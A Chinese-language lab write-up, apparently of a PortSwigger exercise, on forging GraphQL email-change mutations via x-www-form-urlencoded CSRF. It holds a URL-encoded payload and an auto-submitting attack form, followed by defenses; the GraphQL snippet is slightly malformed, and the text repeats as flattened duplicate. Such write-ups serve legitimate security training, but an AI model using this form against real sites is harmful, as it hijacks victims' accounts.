CSRF+GraphQL的奇妙组合
字数 1504 2025-08-10 14:13:03

CSRF+GraphQL攻击实验教学文档

实验概述

本实验探讨了GraphQL API中存在的CSRF(跨站请求伪造)漏洞,特别是当API端点接受x-www-form-urlencoded内容类型而非强制使用application/json时的安全问题。

前置知识

CSRF与内容类型的关系

  • CSRF攻击无法发送内容类型为application/json的POST请求
  • 使用application/json内容类型的POST请求可以有效防止CSRF伪造
  • 但若端点接受GETx-www-form-urlencoded内容类型的请求,则可能使系统易受CSRF攻击

GraphQL特性

  • GraphQL通常使用POST请求和JSON格式
  • 但某些实现可能支持多种内容类型和请求方法
  • 这种灵活性可能引入安全风险

实验目标

利用CSRF攻击通过GraphQL API修改用户邮箱地址。

实验步骤详解

1. 环境准备

  • 访问靶场: https://portswigger.net/web-security/graphql/lab-graphql-csrf-via-graphql-api
  • 使用测试账号登录: wiener:peter

2. 功能分析

  • 分析网站功能,特别是邮箱修改功能
  • 通过Burp Suite拦截正常修改邮箱的请求

3. 请求方法测试

  1. 原始请求分析:

    • 通常为POST请求,内容类型为application/json
  2. 尝试修改请求方法:

    • 改为GET请求 → 通常不被允许
    • 改为POST请求,内容类型为x-www-form-urlencoded → 成功

4. 构造有效载荷

将GraphQL查询转换为URL编码格式:

原始GraphQL查询:

mutation changeEmail($input: ChangeEmailInput {
    changeEmail(input: $input) {
        email
    }
}

转换为URL编码格式:

query=%0a+mutation+changeEmail(%24input%3a+ChangeEmailInput+%7b%0a++++++++changeEmail(input%3a+%24input)+%7b%0a+email%0a+7d%0a++++%7d%0a&operationName=changeEmail&variables=%7b%22input%22%3a%7b%22email%22%3a%22test%40test%22%7d%7d

关键点:

  • 换行符(\n)编码为%0a
  • 空格编码为+
  • 特殊字符如{,},:,"等都需要编码
  • &=作为参数分隔符,不应编码

5. 构造CSRF攻击页面

<html>
<body>
    <form action="https://vulnerable-site.com/graphql/v1" method="POST">
        <input type="hidden" name="query" value=" mutation changeEmail($input: ChangeEmailInput { changeEmail(input: $input) { email } } " />
        <input type="hidden" name="operationName" value="changeEmail" />
        <input type="hidden" name="variables" value="{"input":{"email":"ATTACKER@HACKER"}}" />
        <input type="submit" value="Submit request" />
    </form>
    <script>
        history.pushState('', '', '/');
        document.forms[0].submit();
    </script>
</body>
</html>

关键组件:

  1. 隐藏表单,自动提交
  2. 包含GraphQL查询、操作名和变量
  3. JavaScript自动提交表单(可选)
  4. 修改history.pushState防止用户看到明显变化

6. 攻击执行

  1. 将上述HTML托管在攻击者控制的服务器
  2. 诱使受害者访问该页面
  3. 若受害者已登录目标站点,邮箱将被修改

防御措施

1. 强制使用application/json

  • 只接受application/json内容类型的请求
  • 拒绝x-www-form-urlencoded等其他类型

2. 使用CSRF Token

  • 在所有状态修改请求中要求有效的CSRF token
  • 确保token无法被攻击者预测

3. 检查Origin/Referer头部

  • 验证请求来源是否合法
  • 注意Referer可能被某些配置或扩展移除

4. 使用SameSite Cookie属性

  • 设置SameSite=StrictSameSite=Lax
  • 防止跨站请求携带认证cookie

5. GraphQL特定防御

  • 禁用GET请求处理GraphQL查询
  • 实现查询白名单或深度限制
  • 考虑使用Persisted Queries

总结

本实验展示了当GraphQL端点不严格限制内容类型时可能导致的CSRF漏洞。关键在于:

  1. GraphQL端点接受x-www-form-urlencoded而非强制application/json
  2. 缺乏CSRF防护机制(如token)
  3. 攻击者可构造自动提交的表单利用此漏洞

防御的核心在于严格限制请求类型并实施标准的CSRF防护措施。

CSRF+GraphQL攻击实验教学文档 实验概述 本实验探讨了GraphQL API中存在的CSRF(跨站请求伪造)漏洞,特别是当API端点接受 x-www-form-urlencoded 内容类型而非强制使用 application/json 时的安全问题。 前置知识 CSRF与内容类型的关系 CSRF攻击无法发送内容类型为 application/json 的POST请求 使用 application/json 内容类型的POST请求可以有效防止CSRF伪造 但若端点接受 GET 或 x-www-form-urlencoded 内容类型的请求,则可能使系统易受CSRF攻击 GraphQL特性 GraphQL通常使用POST请求和JSON格式 但某些实现可能支持多种内容类型和请求方法 这种灵活性可能引入安全风险 实验目标 利用CSRF攻击通过GraphQL API修改用户邮箱地址。 实验步骤详解 1. 环境准备 访问靶场: https://portswigger.net/web-security/graphql/lab-graphql-csrf-via-graphql-api 使用测试账号登录: wiener:peter 2. 功能分析 分析网站功能,特别是邮箱修改功能 通过Burp Suite拦截正常修改邮箱的请求 3. 请求方法测试 原始请求分析 : 通常为POST请求,内容类型为 application/json 尝试修改请求方法 : 改为GET请求 → 通常不被允许 改为POST请求,内容类型为 x-www-form-urlencoded → 成功 4. 构造有效载荷 将GraphQL查询转换为URL编码格式: 原始GraphQL查询: 转换为URL编码格式: 关键点: 换行符( \n )编码为 %0a 空格编码为 + 特殊字符如 { , } , : , " 等都需要编码 & 和 = 作为参数分隔符,不应编码 5. 构造CSRF攻击页面 关键组件: 隐藏表单,自动提交 包含GraphQL查询、操作名和变量 JavaScript自动提交表单(可选) 修改 history.pushState 防止用户看到明显变化 6. 攻击执行 将上述HTML托管在攻击者控制的服务器 诱使受害者访问该页面 若受害者已登录目标站点,邮箱将被修改 防御措施 1. 强制使用application/json 只接受 application/json 内容类型的请求 拒绝 x-www-form-urlencoded 等其他类型 2. 使用CSRF Token 在所有状态修改请求中要求有效的CSRF token 确保token无法被攻击者预测 3. 检查Origin/Referer头部 验证请求来源是否合法 注意Referer可能被某些配置或扩展移除 4. 使用SameSite Cookie属性 设置 SameSite=Strict 或 SameSite=Lax 防止跨站请求携带认证cookie 5. GraphQL特定防御 禁用GET请求处理GraphQL查询 实现查询白名单或深度限制 考虑使用Persisted Queries 总结 本实验展示了当GraphQL端点不严格限制内容类型时可能导致的CSRF漏洞。关键在于: GraphQL端点接受 x-www-form-urlencoded 而非强制 application/json 缺乏CSRF防护机制(如token) 攻击者可构造自动提交的表单利用此漏洞 防御的核心在于严格限制请求类型并实施标准的CSRF防护措施。